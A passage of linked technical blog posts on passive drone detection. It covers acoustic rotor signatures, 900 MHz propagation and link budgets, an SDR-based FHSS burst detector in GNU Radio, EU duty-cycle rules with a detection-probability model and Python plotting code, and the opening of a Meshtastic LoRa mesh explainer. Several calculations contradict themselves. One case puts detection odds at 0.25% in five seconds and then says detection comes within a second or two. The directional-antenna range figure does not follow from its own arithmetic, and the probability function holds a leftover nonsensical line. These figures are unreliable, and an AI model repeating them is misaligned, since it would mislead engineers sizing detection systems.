• Frequency modulation during manoeuvres: the harmonic lines sweep upward (acceleration) and downward (deceleration). The slope of the sweep reflects the rate of RPM change.
• Multiple harmonic series at slightly different frequencies: rotors running at slightly different RPM produce two sets of harmonic lines, spaced a few Hz apart. The beat frequency between them (the difference) appears as a slow amplitude modulation at the BPF rate — audible as the characteristic pulsing sound of a multi-rotor drone.
• Broadband noise floor elevation: drones elevate the broadband noise floor across 200 Hz–5 kHz above the ambient, even when individual tonal harmonics are not visible. This broadband elevation is a secondary indicator useful at longer range where tonal structure is masked.

Limits of acoustic detection

Wind noise is the primary practical constraint. The Davenport wind spectrum describes wind turbulence noise, and for an unshielded microphone at wind speeds above 3 m/s (Beaufort 2), wind noise at frequencies below 500 Hz exceeds 50 dBAZ and rises at −6 dB/octave. This masks the lowest BPF harmonics of most drones (which fall in the 100–500 Hz range) completely. High-pass filtering above 500 Hz preserves only the upper harmonics where the drone’s energy is weaker against the broadband floor.

Wind screens (spherical foam baffles) reduce wind noise by 10–20 dB at low frequencies without affecting the drone’s acoustic signature, extending detection range proportionally. Multiple microphones spaced several metres apart with coherence-based wind noise rejection (wind noise is spatially incoherent; drone tones are coherent across microphone pairs at the drone’s wavelength) can provide an additional 10–15 dB of improvement.

Background noise from traffic, HVAC systems, and other machinery produces tonal components that can mimic drone BPF signatures. A diesel vehicle at idle (combustion frequency around 12 Hz × number of cylinders) can produce harmonics extending into the 100–400 Hz range. Distinguishing these from drone signatures requires either knowledge of the background noise spectrum (baseline subtraction) or temporal consistency analysis — a vehicle’s engine harmonics shift with load in a pattern different from a drone’s rotor BPF under autopilot control.

Rain produces broadband noise across the full audio spectrum and limits detection range to a few metres for all but the loudest drones.

Comparison with RF detection

Acoustic and RF detection complement each other:

The two modalities are most valuable in combination. An RF detection on 2.4 GHz (from Remote ID or control link) provides range and direction via signal-strength triangulation; an acoustic confirmation at close range verifies the object is a drone rather than a source of RF interference. At ranges below ~200m where acoustic SNR is adequate, acoustic detection provides independent confirmation without requiring the drone to be transmitting.

The signal processing described here — STFT with a Blackman-Harris window, per-frequency noise floor normalisation, harmonic product spectrum for BPF estimation, and stability-based detection logic — is sufficient for reliable detection of consumer multirotor drones at ranges up to ~100m in typical outdoor conditions with a standard microphone, extending to ~300m in calm conditions with a directional microphone and wind screen.

Beyond that range, the acoustic SNR falls below reliable detection thresholds, and RF monitoring becomes the primary method.

900 MHz FPV and LoRa links behave differently from 2.4 GHz — better range, more ground penetration, different multipath. This post works through the propagation physics with actual numbers, and what it means for link budget when you're flying at low altitude.

The 900 MHz band — 863–870 MHz in Europe, 902–928 MHz in North America — carries most of the long-range drone control links in current use. TBS Crossfire, ExpressLRS at 868/915 MHz, FrSky R9, and several proprietary systems all operate here, as does the 868 MHz LoRa telemetry used by ArduPilot/PX4 open-source autopilots. The propagation behaviour at these frequencies is meaningfully different from 2.4 GHz and 5.8 GHz, and understanding the differences explains both why these bands were chosen for long-range control and what a passive receiver can realistically expect to see.

Free-space path loss — the 900 MHz advantage

At the same transmit power and antenna gain, a lower-frequency signal experiences less free-space path loss and achieves greater range. The Friis free-space path loss formula:

FSPL (dB) = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)
           = 20·log₁₀(d) + 20·log₁₀(f) − 147.55 dB

Comparing 868 MHz to 2.4 GHz and 5.8 GHz at the same distance:

Δ FSPL (868 MHz vs 2.4 GHz) = 20·log₁₀(2400/868) = +8.8 dB
Δ FSPL (868 MHz vs 5.8 GHz) = 20·log₁₀(5800/868) = +16.5 dB

A 868 MHz link enjoys 8.8 dB less path loss than a 2.4 GHz link at the same distance, and 16.5 dB less than 5.8 GHz. In terms of range at the same power and sensitivity:

Range ratio = 10^(Δ dB / 20)
868 vs 2.4 GHz: 10^(8.8/20) = 2.75× greater range
868 vs 5.8 GHz: 10^(16.5/20) = 6.68× greater range

This is the physics behind why TBS Crossfire at 868 MHz achieves 10–40 km control range while a 2.4 GHz link is typically limited to 5–15 km, and 5.8 GHz video links are practically limited to 2–5 km — all at comparable power levels.

Tabulated FSPL at key frequencies:

Beyond free-space — propagation models for real terrain

Free-space loss assumes an unobstructed line-of-sight path between isotropic antennas. Real drone deployments add two important effects: ground reflection and terrain/obstacle diffraction.

Two-ray ground reflection model

When the transmitter and receiver are at low altitude above flat ground, a reflected ray from the ground surface arrives at the receiver with a path length difference that causes interference. The two-ray model predicts that at close range, signal strength follows the free-space model; beyond a breakpoint distance d_b, the received power decays as d⁻⁴ rather than d⁻²:

d_b = 4 · h_t · h_r / λ

where h_t and h_r are the transmitter and receiver heights above the reflecting plane, and λ is wavelength.

For a drone at 50m altitude and a ground receiver at 2m, at 868 MHz (λ = 0.345 m):

d_b = 4 × 50 × 2 / 0.345 = 1,159 m

Beyond ~1.2 km, the two-ray model predicts d⁻⁴ decay — 40 dB loss per decade of distance rather than the free-space 20 dB. In practice this sets the effective long-range ceiling: a link budget designed on free-space assumptions will be optimistic beyond the breakpoint.

Raising either the drone altitude or the receiver antenna height increases the breakpoint:

• Drone at 100m + receiver at 5m: d_b = 4 × 100 × 5 / 0.345 = 5,797 m
• Drone at 100m + receiver at 10m: d_b ≈ 11.6 km

A monitoring station at elevation with a receiver antenna at 10m above local ground tracks the free-space model out to ~11 km for a drone at 100m — explaining why high-ground installations with elevated antennas dramatically outperform low-ground equivalents.

Terrain diffraction — the knife-edge model

When terrain obstructs the line-of-sight path, the signal diffracts around the obstacle. The Fresnel-Kirchhoff diffraction parameter ν:

ν = h · √(2(d₁ + d₂) / (λ · d₁ · d₂))

where h is the height of the obstacle above the line joining transmitter and receiver, d₁ and d₂ are the distances from transmitter and receiver to the obstacle respectively, and λ is wavelength.

Diffraction loss:

Key insight: at 868 MHz, a ridge or building 10m above the line-of-sight at the midpoint of a 2 km path:

ν = 10 × √(2 × 2000 / (0.345 × 1000 × 1000)) = 10 × √(0.01159) = 10 × 0.1076 = 1.08

Additional loss ≈ 13 dB. The same obstacle at 2.4 GHz (λ = 0.125 m):

ν = 10 × √(2 × 2000 / (0.125 × 1000 × 1000)) = 10 × 0.1789 = 1.79

Additional loss ≈ 18 dB. The 868 MHz signal is 5 dB better at diffracting around the same obstacle — explaining why 900 MHz links maintain connectivity in hilly terrain where 2.4 GHz systems break up. For passive monitoring, this means that terrain-shielded positions provide less protection against 868 MHz detection than against 2.4 GHz.

Fresnel zone clearance

The Fresnel zone is the ellipsoid around the direct path within which signal energy is concentrated. The first Fresnel zone radius at the midpoint of a path of length d:

r₁ = √(λ · d / 4)    (at midpoint of path)

At 868 MHz over a 5 km path:

r₁ = √(0.345 × 5000 / 4) = √(431) ≈ 20.8 m

Any obstruction within 20.8 m of the direct path at its midpoint adds significant diffraction loss. For a drone at 100m altitude flying at 5 km range, the line-of-sight path midpoint is at ~50m altitude — the drone-to-receiver link has ample clearance above any ground obstruction at that geometry.

For a passive ground-based monitoring receiver, the Fresnel zone at the receiver end is what matters. An antenna at 5m height monitoring a drone at 500m range at 868 MHz:

r₁ at 250m (midpoint) = √(0.345 × 500 / 4) = √(43.1) ≈ 6.6 m

Any building within 6.6m of the direct path, at its midpoint, introduces meaningful additional loss. In dense urban environments, near-complete Fresnel zone obstruction is common — explaining the 3–8× range reduction from free-space predictions in city centres.

Rule of thumb: for reliable first-Fresnel-zone clearance, antenna height above local ground should exceed:

h_min ≈ √(λ · d) / 2    (at the receiver, for the nearest ground obstruction)

At 868 MHz over 1 km: h_min ≈ √(0.345 × 1000) / 2 = 9.3 m. A monitoring antenna at 10m height provides adequate Fresnel clearance for paths up to ~1 km over flat ground.

FHSS at 900 MHz — what the spectrum actually looks like

ExpressLRS at 868 MHz hops across a defined channel set within the 863–868 MHz band. The current ELRS channel plan for EU 868:

• Regulatory band: 863.275–869.575 MHz
• ELRS EU868 channels: typically 40–80 channels spaced ~150 kHz apart within the allowed sub-bands
• Channel bandwidth: 500 kHz (for LoRa CSS modulation at ELRS’s SF6, BW=500kHz setting)
• Hop dwell time: one packet per channel, ~1–2 ms at 100–500 Hz packet rate

TBS Crossfire at 868 MHz:

• 40 hopping channels across 863–870 MHz
• Packet rate: 150 Hz at 1 ms dwell per channel
• Full band sweep period: 40 channels × 1/150 s ≈ 267 ms

In a waterfall display (SDR receiver, FFT size 8192, 1024 ms averaging at 868 MHz, 6 MHz span):

• FHSS control links appear as a comb pattern: brief, narrow-bandwidth bursts that appear at apparently random frequencies, with each burst lasting 1–2 ms before hopping elsewhere. The overall energy is spread across the band rather than concentrated on a single carrier.
• Each individual burst is clearly above the noise floor (typically +20 to +30 dB SNR at 500m with a decent antenna), but the short dwell time means a waterfall with 100 ms averaging shows the hops as thin horizontal streaks rather than bright narrow columns.
• The repetition period is consistent — at Crossfire’s 150 Hz, each channel is revisited every ~267 ms. A long waterfall persistence (5–10 seconds) shows every channel in the hop set lit up, revealing the full FHSS spectrum occupancy.

Distinguishing control links from other 868 MHz traffic:

The distinguishing feature of drone control links is the high packet rate and wide bandwidth per burst — ELRS at SF6, BW=500kHz produces bursts that are 500 kHz wide (broad for ISM), extremely short (1–2 ms), and appear at a high and consistent rate relative to IoT sensors.

Passive receiver configuration for 900 MHz monitoring

Hardware

The RTL-SDR V3 covers 500 kHz–1.766 GHz adequately for 868 MHz monitoring. At 915 MHz it is still within range. Recommended sample rate: 2.4 MS/s (gives 2.4 MHz instantaneous bandwidth, enough to see the entire ELRS EU868 hop set in one capture with minimal aliasing).

For better noise figure at 868 MHz (especially with a long coax run):

• LNA4ALL or similar wideband LNA at the antenna end
• Or: a filtered LNA specific to 868–915 MHz (reduces out-of-band interference from strong 800 MHz LTE signals)

RTL-SDR noise figure at 868 MHz: approximately 3.5–4 dB after the front-end. An 868 MHz LNA with 20 dB gain and 1.5 dB NF reduces system NF to ~1.7 dB — an improvement worth having if monitoring at range.

GNU Radio flowgraph for FHSS detection

Rather than demodulating the FHSS signal (which requires knowing the hop sequence), passive monitoring for energy presence is the practical approach: detect that something is transmitting at high frequency in the band, identify it as FHSS by the repetition period and burst width, and log time and power.

#!/usr/bin/env python3
"""
868 MHz FHSS energy detector.
Scans the band for burst activity characteristic of drone control links.
"""

import numpy as np
import osmosdr
import time
from gnuradio import gr, blocks, fft

class FHSSDetector(gr.top_block):
    def __init__(self, center_freq=868e6, samp_rate=2.4e6, threshold_db=20.0):
        gr.top_block.__init__(self)
        self.threshold_db = threshold_db

        # Source
        src = osmosdr.source(args="rtl=0")
        src.set_sample_rate(samp_rate)
        src.set_center_freq(center_freq)
        src.set_gain(40)
        src.set_if_gain(20)

        # FFT power spectrum
        fft_size    = 2048
        fft_block   = fft.logpwrfft_c(samp_rate, fft_size, fft.window.WIN_BLACKMAN_HARRIS, 1, 20, False)
        probe       = blocks.probe_signal_vf(fft_size)

        self.connect(src, fft_block, probe)
        self.probe = probe
        self.fft_size = fft_size
        self.center_freq = center_freq
        self.samp_rate = samp_rate


def monitor_band(center_freq=868e6, samp_rate=2.4e6, duration=60):
    """
    Monitor 868 MHz band for FHSS burst activity.
    Returns timestamps and affected frequency bins of detected bursts.
    """
    tb = FHSSDetector(center_freq, samp_rate)
    tb.start()
    time.sleep(0.5)  # let the flowgraph stabilise

    # Establish noise floor baseline (5 seconds)
    baseline_samples = []
    t0 = time.time()
    while time.time() - t0 < 5.0:
        spectrum = np.array(tb.probe.level())
        baseline_samples.append(spectrum)
        time.sleep(0.05)

    noise_floor = np.median(np.array(baseline_samples), axis=0)
    threshold   = noise_floor + 20.0  # 20 dB above noise floor

    # Monitoring loop
    detections = []
    freq_axis  = np.linspace(center_freq - samp_rate/2,
                             center_freq + samp_rate/2,
                             tb.fft_size)

    print(f"Monitoring {center_freq/1e6:.1f} MHz ± {samp_rate/2e6:.1f} MHz")
    print(f"Noise floor: {np.mean(noise_floor):.1f} dBFS, threshold: +20 dB")

    t0 = time.time()
    while time.time() - t0 < duration:
        spectrum  = np.array(tb.probe.level())
        above     = spectrum > threshold
        if np.any(above):
            active_freqs = freq_axis[above]
            peak_power   = np.max(spectrum[above])
            ts           = time.time() - t0
            detections.append({
                'time':        ts,
                'freq_min_mhz': active_freqs.min() / 1e6,
                'freq_max_mhz': active_freqs.max() / 1e6,
                'bandwidth_khz': (active_freqs.max() - active_freqs.min()) / 1e3,
                'peak_dbfs':   peak_power,
            })
            print(f"[+{ts:6.2f}s] Burst: "
                  f"{active_freqs.min()/1e6:.3f}–{active_freqs.max()/1e6:.3f} MHz  "
                  f"BW={detections[-1]['bandwidth_khz']:.0f} kHz  "
                  f"peak={peak_power:.1f} dBFS")
        time.sleep(0.005)  # 5 ms polling — resolves individual FHSS bursts

    tb.stop()
    tb.wait()
    return detections

A burst classified as a drone control link if it meets all of:

• Bandwidth > 200 kHz (FHSS CSS bursts; LoRaWAN sensors are narrower)
• Duration 1–3 ms per burst
• Repetition rate 25–500 Hz
• Frequency varies between consecutive bursts (not fixed carrier)

Practical detection range — worked budget at 868 MHz

Target: ExpressLRS at 868 MHz, 100 mW output, SF6/BW500k (LoRa CSS), drone at 200m altitude.

Receiver: RTL-SDR V3 with LNA (system NF = 1.8 dB), 868 MHz half-wave dipole at 6m height.

Noise floor at 500 kHz bandwidth:

N = −174 dBm/Hz + 10·log₁₀(500×10³) + 1.8 dB = −174 + 57.0 + 1.8 = −115.2 dBm

Minimum detectable signal (SNR = 10 dB for reliable detection):

S_min = −115.2 + 10 = −105.2 dBm

Link budget for detection range:

P_tx (100 mW):     +20.0 dBm
G_tx (drone whip): +2.0 dBi
G_rx (dipole):     +2.0 dBi
Cable loss:        −1.0 dB

FSPL budget = 20 + 2 + 2 − 1 − (−105.2) = 128.2 dB

Maximum free-space range:

FSPL = 128.2 dB → d = 10^((128.2 + 147.55 − 20·log₁₀(868×10⁶)) / 20)
                     = 10^((275.75 − 178.77) / 20)
                     = 10^(96.98 / 20)
                     = 10^4.849
                     ≈ 70.6 km

In flat open terrain, free-space detection range is approximately 70 km — ample even for long-range FPV. Real-world range is dominated by terrain and two-ray effects, not sensitivity:

• Open fields, antenna at 10m height: 15–30 km practical range
• Suburban environment: 3–8 km
• Dense urban: 500m–2 km

The comparison with 2.4 GHz at the same power and sensitivity: free-space detection range at 2.4 GHz is 70.6 / 2.75 ≈ 25.7 km — still very long, but the 868 MHz advantage is meaningful in terrain where Fresnel diffraction matters, as shown earlier.

Regional comparison — EU vs US 900 MHz

The frequency and regulatory differences between EU and North American 900 MHz drone systems have direct implications for passive monitoring:

The EU duty cycle constraint reduces the available packet rate, which reduces the per-channel detection probability for a scanning receiver (as covered in the duty cycle post). The US band’s wider allocation (26 MHz vs 7 MHz) and higher permitted packet rate make the FHSS signature denser but also spread over a wider spectrum — requiring a wider receiver bandwidth to observe the full hop set.

For monitoring US-market drones in the EU (a common scenario given international purchase of FPV hardware), note that the device may be transmitting at 915 MHz rather than 868 MHz and may not honour EU duty cycle limits — resulting in a higher-rate, potentially non-compliant signal that is paradoxically easier to detect than a compliant EU-market device.

The signal processing applied to both is identical: energy detection, burst timing analysis, and hop sequence characterisation from the frequency-time waterfall.

EU rules limit how often drones can transmit (duty cycle). This post works through what that means for detection range — how a system that can only listen for so long compares against one with continuous coverage, and what you can realistically expect to detect and at what distance.

A passive RF monitoring system can only detect a drone when the drone is transmitting. The question of how often a drone transmits is not purely a design choice — it is substantially shaped by the regulatory framework governing the frequency band the drone uses. In Europe, ETSI EN 300 220 imposes duty cycle limits on ISM-band devices that directly constrain how frequently any beacon, telemetry downlink, or Remote ID message appears on the air. Understanding those limits is the prerequisite for understanding detection probability as a function of time and geometry.

This post works through the problem from the regulatory basis up to a practical detection probability model, with numerical examples for the main drone frequency bands.

The regulatory framework — what duty cycle actually means

A duty cycle limit δ expressed as a percentage means that a device may transmit for at most δ% of any given measurement window, typically evaluated on a rolling one-hour basis. The ETSI EN 300 220-2 allocation for 868 MHz ISM devices divides the band into sub-bands with different duty cycle allowances:

Consumer drone control links operating in the EU 868 MHz band — primarily ExpressLRS at 868 MHz and some legacy RC systems — fall under the 1% sub-band. At a 1% duty cycle in a one-hour rolling window, a transmitter may be on the air for at most 36 seconds per hour. If the control link transmits continuously at 25 Hz, each packet is approximately 5 ms, meaning at most ~7,200 packets per hour — but the transmitter is constrained to be active for no more than 36 seconds per hour total.

In practice, modern FHSS control links at 868 MHz transmit in very short bursts — a 64-byte packet at 50 kbps occupies only ~10 ms. At 25 Hz (25 packets/second), the instantaneous duty cycle is 25%. This violates the 1% limit; in practice the firmware manages duty cycle by switching to a lower packet rate or hopping to the higher-duty-cycle sub-band, or more commonly by simply operating in the US 915 MHz band (no duty cycle restriction under FCC Part 15) for international products.

The 2.4 GHz ISM band (2.400–2.4835 GHz) has no duty cycle restriction under ETSI EN 300 328 — it uses a CSMA/CA listen-before-talk requirement instead. DJI OcuSync, ExpressLRS at 2.4 GHz, and similar systems can therefore transmit continuously, subject only to channel access arbitration. This is the dominant control link for consumer drones and the reason 2.4 GHz is the more reliably detectable band: the link is almost always on when the drone is powered.

The 5.8 GHz band (5.725–5.875 GHz), used for analog and digital FPV video, also operates under ETSI EN 302 502 listen-before-talk with no explicit duty cycle limit. Analog FPV transmitters broadcast continuously whenever powered — the transmitter is on from power-up to power-down regardless of flight state.

EU Remote ID (in force January 2024 under EU 2019/947) requires broadcast at minimum 1 Hz on 2.4 GHz. This is an unconditional beacon that is on-air during the entire flight — a continuous detection opportunity on 2.4 GHz regardless of what the control link is doing.

Link budget — the geometry of detection

Before asking how often a drone transmits, we need to know from what range the transmitted signal is receivable. The Friis free-space path loss formula:

FSPL (dB) = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)

where d is distance in metres and f is frequency in Hz. At specific distances:

The detection link budget for a passive receiver:

Received power (dBm) = Tx power (dBm)
                     + Tx antenna gain (dBi)
                     − FSPL (dB)
                     + Rx antenna gain (dBi)
                     − Cable/connector loss (dB)

Detection condition: Received power ≥ Rx sensitivity (dBm)

Worked example — DJI Mini 3 Pro control link at 2.4 GHz, passive receiver with a simple dipole:

Tx power (DJI OcuSync 3, typical):  +20 dBm (100 mW)
Tx antenna gain (drone, printed):    +2 dBi
FSPL at 1 km, 2.4 GHz:             −100.2 dB
Rx antenna gain (dipole):           +2 dBi
Cable loss (2m RG58):               −1 dB

Received power = 20 + 2 − 100.2 + 2 − 1 = −77.2 dBm

RTL-SDR V3 noise figure ≈ 3.5 dB, noise floor at 1 MHz bandwidth:

Noise floor = −174 dBm/Hz + 10·log₁₀(1×10⁶ Hz) + 3.5 dB = −110.5 dBm

Signal-to-noise ratio at 1 km: −77.2 − (−110.5) = +33.3 dB. Very comfortably detectable. The detection limit (SNR = 0 dB) is reached when received power equals the noise floor:

Maximum detection range (dipole, RTL-SDR):
d_max: −77.2 − 33.3 = −110.5 dBm → received power = noise floor at d_max

10 dB SNR threshold: 20 + 2 − FSPL + 2 − 1 = −100.5
FSPL_max = 123.5 dB
→ d = 10^((123.5 + 147.55 − 20·log₁₀(2.4×10⁹)) / 20) ≈ 14.8 km

Theoretical free-space detection range for the DJI Mini 3 Pro with a dipole and RTL-SDR is approximately 15 km. In practice, urban clutter, multipath, terrain, and the drone’s antenna orientation (pattern nulls) reduce this dramatically — typical real-world detection in urban environments is 500m–3km. But the link budget confirms that geometry is not the binding constraint for most consumer drone scenarios.

How antenna gain changes the picture

Replacing the dipole with a 10 dBi patch antenna pointed at the target:

Received power at 1 km = 20 + 2 − 100.2 + 10 − 0.5 = −68.7 dBm
SNR = −68.7 − (−110.5) = +41.8 dB
Detection limit ≈ 10^((141.8 − 97.4) / 20) ≈ 53 km (free-space)

For a fixed monitoring station with a directional antenna at elevation, the primary constraint shifts from link budget to terrain horizon. The detection range is limited by how far the drone is below the optical horizon, not by received signal strength.

Duty cycle and detection probability — the quantitative model

Given that the drone is within range (link budget satisfied), the question becomes: what is the probability of detecting it within a given observation window?

Define:

• δ = duty cycle of the drone’s transmissions (fraction: 0 to 1)
• τ_pkt = duration of one transmitted packet (seconds)
• f_tx = packet transmission rate (packets/second), so δ = f_tx × τ_pkt
• T_obs = observation window duration (seconds)
• N = number of packets transmitted in T_obs = f_tx × T_obs

For a simple energy detector (monitoring a frequency channel for signal above threshold), the probability of at least one detection in T_obs:

P(detect ≥ 1) = 1 − (1 − δ)^N ≈ 1 − e^(−δ × f_tx × T_obs)

For a swept receiver or scanning system that spends fraction s of its time monitoring the target channel:

P(detect ≥ 1) = 1 − e^(−δ × s × f_tx × T_obs)

Numerical examples

Case 1: DJI RemoteID beacon at 2.4 GHz, 1 Hz broadcast rate

• τ_pkt ≈ 0.5 ms (typical DroneID packet)
• δ = 1 × 0.0005 = 0.05% (below any regulatory limit)
• f_tx = 1 packet/second
• T_obs = 5 seconds, s = 1 (dedicated receiver)

P(detect) = 1 − e^(−0.0005 × 1 × 5) = 1 − e^(−0.0025) ≈ 0.25%

One beacon packet in 5 seconds has only a 0.25% chance of falling within a 5-second scan window — because the packet occupies only 0.05% of that window. However, if the receiver is continuously monitoring the single channel (not scanning):

P(detect) in 5 s = 1 − (1 − 0.0005)^5 ≈ 0.25% still

But over 60 seconds: P = 1 − e^(−0.0005 × 1 × 60) ≈ 3%. Over 10 minutes: P ≈ 26%.

The correct metric for a 1 Hz beacon is expected time to first detection:

E[T_first] = 1 / f_tx = 1 second (if continuously monitoring)

A dedicated monitor will see the first RemoteID beacon within 1–2 seconds on average. The 1% duty cycle of the packet itself is irrelevant — what matters is the 1 Hz broadcast rate. Detection is fast.

Case 2: ExpressLRS 868 MHz at 100 Hz packet rate, 1% duty cycle sub-band

• Packet rate: 100 Hz (100 packets/second)
• τ_pkt = duty_cycle / f_tx = 0.01 / 100 = 0.1 ms
• Observation window: 1 second, s = 1

P(detect ≥ 1) = 1 − e^(−0.01 × 100 × 1) = 1 − e^(−1) ≈ 63%

Over 3 seconds: P ≈ 95%. A 100 Hz ELRS link at 1% duty cycle on 868 MHz is highly detectable within a few seconds on a dedicated receiver.

Case 3: Scanning receiver covering 100 MHz of spectrum at 868 MHz A wideband scan dwell time of 1 ms per 200 kHz channel, covering 500 channels → full sweep period = 500 ms. Fraction of time on target channel: s = 0.001 / 0.5 = 0.2%.

At 100 Hz ELRS (same as Case 2):

P(detect in 1 s) = 1 − e^(−0.01 × 0.002 × 100 × 1) = 1 − e^(−0.002) ≈ 0.2%

A scanning receiver is roughly 500× less likely to catch a given packet than a dedicated narrowband receiver on the target channel. Over 60 seconds: P ≈ 11%. Wideband scanning is a poor strategy for low-duty-cycle or narrow-bandwidth targets.

The duty cycle constraint as an evasion mechanism

The regulatory duty cycle limit has an inadvertent detection implication: a transmitter operating at exactly its maximum duty cycle is producing the most detectable signal permitted by law. A transmitter operating at lower duty cycle — fewer packets, or shorter packets — is less detectable over any given observation window.

The tension for drone designers: high update rate improves control responsiveness and telemetry resolution; low update rate reduces regulatory exposure and passive detectability. FHSS systems such as FrSky ACCESS, Futaba FHSS-S, and ExpressLRS hop frequency between packets, distributing transmit time across many channels. For a passive receiver fixed on one channel, the effective duty cycle is:

δ_effective = δ_total / N_channels

At 100-channel hopping and 1% total duty cycle: δ_effective = 0.01% per channel. A narrowband receiver on a single channel sees only 1 packet per 10,000 packets total. This is the link budget challenge for passive detection of frequency-hopping control links — it’s addressed in the 900 MHz propagation post.

Practical monitoring — frequency allocation strategy

For a passive monitoring station, the choice of monitored band depends on which transmissions are legally constrained to be present:

Always-on during flight:

• 2.4 GHz RemoteID beacon (1 Hz minimum, EU mandate since January 2024) — guaranteed presence on 2.4 GHz while flying
• 5.8 GHz analog FPV video (if used) — continuous carrier while powered, no duty cycle restriction

Intermittent:

• 868 MHz ELRS control link — present at up to 100 Hz but 1% duty cycle per sub-band; FHSS makes individual channel monitoring inefficient
• 915 MHz ELRS (US) — no duty cycle restriction, 50–200 Hz packet rate; not in EU
• 2.4 GHz ELRS/OcuSync control link — no duty cycle limit; most consistently detectable after Remote ID

Monitoring strategy for EU deployment:

1. Dedicate one SDR to 2.4 GHz, fixed on 2.437 GHz (the default OcuSync/DroneID channel) — this catches RemoteID reliably within 1–2 seconds of drone activation
2. Dedicate a second SDR to 5.8 GHz sweeping Raceband channels — catches analog FPV video carriers continuously
3. Use a wideband SDR for 863–870 MHz energy monitoring — catches 868 MHz control links opportunistically; accept lower per-channel detection probability in exchange for band coverage

This three-receiver configuration gives continuous coverage of the two always-on transmission types plus opportunistic detection of the hopping control link.

Python — duty cycle and detection probability calculator

import numpy as np
import matplotlib.pyplot as plt

def detection_probability(f_tx, tau_pkt, T_obs, s=1.0):
    """
    Probability of detecting at least one packet in observation window T_obs.
    
    f_tx:   packet transmission rate (Hz)
    tau_pkt: packet duration (seconds)
    T_obs:   observation window (seconds)
    s:       fraction of time receiver is monitoring this channel (0-1)
    """
    delta = f_tx * tau_pkt          # duty cycle
    lam   = delta * s * T_obs / tau_pkt * tau_pkt  # Poisson rate simplification
    # P(detect >= 1) = 1 - P(no detect)
    # Each packet detected with prob s (receiver on channel during packet)
    # N packets in T_obs: N = f_tx * T_obs
    N = f_tx * T_obs
    p_miss_one = 1 - s * tau_pkt / (1/f_tx)   # prob of missing one packet
    p_detect = 1 - p_miss_one**N
    return p_detect, delta

# Scenario comparison
scenarios = {
    "RemoteID 1 Hz (dedicated Rx)":    (1,    0.5e-3, 1.0),
    "ELRS 868 MHz 100 Hz (dedicated)": (100,  0.1e-3, 1.0),
    "ELRS 868 MHz 100 Hz (scan, s=0.002)": (100, 0.1e-3, 0.002),
    "OcuSync 25 Hz (dedicated)":       (25,   5e-3,  1.0),
}

T_range = np.linspace(0.1, 60, 300)

fig, ax = plt.subplots(figsize=(10, 6))
for label, (f, tau, s) in scenarios.items():
    probs = [detection_probability(f, tau, T, s)[0] for T in T_range]
    ax.plot(T_range, probs, label=label)

ax.set_xlabel("Observation window (seconds)")
ax.set_ylabel("P(at least one detection)")
ax.set_title("Detection probability vs. observation time by transmission mode")
ax.legend()
ax.grid(True, alpha=0.3)
ax.axhline(0.9, color='gray', linestyle='--', alpha=0.5, label='90% threshold')
plt.tight_layout()
plt.savefig("detection_probability.png", dpi=150)
plt.show()

Summary — what duty cycle regulation implies for passive detection

The regulatory framework inadvertently structures the passive detection problem. The 1% duty cycle limit on 868 MHz control links, combined with FHSS, makes that band the hardest to reliably intercept. The mandatory 1 Hz RemoteID on 2.4 GHz and the continuous analog FPV carrier on 5.8 GHz are the most reliable detection opportunities — both because they are regulatory requirements and because they involve either high repetition rate or continuous transmission.

The signal processing implications of each band are the subject of the two posts that follow.

Meshtastic turns cheap LoRa radio modules into a mesh network that works without any infrastructure — no cell towers, no internet, no central anything. Messages hop from node to node. This post covers how it actually works technically, and what a deployment intended to function when things go wrong needs beyond the basic setup.

Meshtastic is an open-source LoRa mesh networking protocol and platform designed from the ground up for off-grid communication — infrastructure-independent, low-power, long-range, and encrypted. It runs on inexpensive commodity hardware (ESP32 and nRF52840-based development boards costing €20–60), uses the unlicensed ISM bands, and requires no internet connection, no cellular network, and no central servers to function.

The emergency communications use case is what makes it genuinely interesting from a signals and systems perspective. When cellular networks fail — in natural disasters, civil disruptions, or infrastructure blackouts — the ability to establish a self-organising mesh network from commodity hardware with no pre-existing infrastructure is a meaningful operational capability. Understanding exactly how that network works, where its limits are, and how to configure it well for field deployment requires going deeper than the getting-started documentation typically goes.

This is that deeper examination.

Physical layer — LoRa CSS

Meshtastic operates on top of LoRa (Long Range), a physical-layer modulation technique developed by Cycleo and acquired by Semtech in 2012. LoRa uses Chirp Spread Spectrum (CSS): data is encoded as the starting frequency of a chirp — a signal that sweeps continuously from a low to a high frequency (or vice versa) across the channel bandwidth. The starting frequency of each chirp encodes a symbol value. At SF7 the chirp sweeps 2⁷ = 128 discrete starting positions, encoding 7 bits per symbol.

The three critical LoRa parameters, all of which Meshtastic exposes through modem presets:

Symbol duration is T_s = 2^SF / BW. At SF12, BW 125 kHz: T_s = 4096 / 125000 ≈ 32.8 ms per symbol. At SF7, BW 250 kHz: T_s = 128 / 250000 ≈ 0.51 ms per symbol. This is a 64-fold difference in symbol duration — and therefore in airtime per packet — between the two extremes. A 15-byte Meshtastic packet (text message) takes approximately 50 ms to transmit at LONG_FAST versus over 3 seconds at VERY_LONG_SLOW.

Receive sensitivity improves with spreading factor due to processing gain: PG_dB ≈ SF × 10·log₁₀(2) ≈ SF × 3.01 dB. SF12 provides approximately 36 dB of processing gain, allowing decoding at SNRs down to approximately −20 dB — signals buried well below the apparent noise floor. This is why LoRa links work over distances that would be inconceivable with conventional narrowband modulation at the same power.

Link budget for a typical EU deployment

Tx power (EU 868 MHz limit, RP sub-band): +14 dBm EIRP
Free-space path loss at 10 km, 868 MHz:  −132 dB
                                           [FSPL = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)]
Antenna gain (simple λ/4 whip, each end): +2 dBi
Rx sensitivity (SF12, SX1276 datasheet):  −137 dBm

Link margin = +14 − 132 + 2 + 2 − (−137) = +23 dB

A 23 dB link margin at 10 km explains why ranges in excess of 10 km are achievable in open terrain. In practice, urban and woodland environments reduce this to 2–8 km; dense urban below rooftop level often gives 500m–2 km. Fresnel zone clearance, antenna height, and local terrain dominate.

Modem presets

Meshtastic bundles all three LoRa parameters into named presets:

The default LONG_FAST (SF11, 250 kHz) balances range and throughput well for most scenarios. For emergency communications in dense urban terrain where range is critical, LONG_SLOW is worth considering. For large-event deployments with many nodes in close proximity — DEF CON 2024 used SHORT_TURBO at 500 kHz BW — throughput and collision avoidance become the priority.

All nodes in a mesh must use identical SF, BW, and regional settings to decode each other’s transmissions. Nodes on different presets are invisible to each other.

Duty cycle — the EU constraint

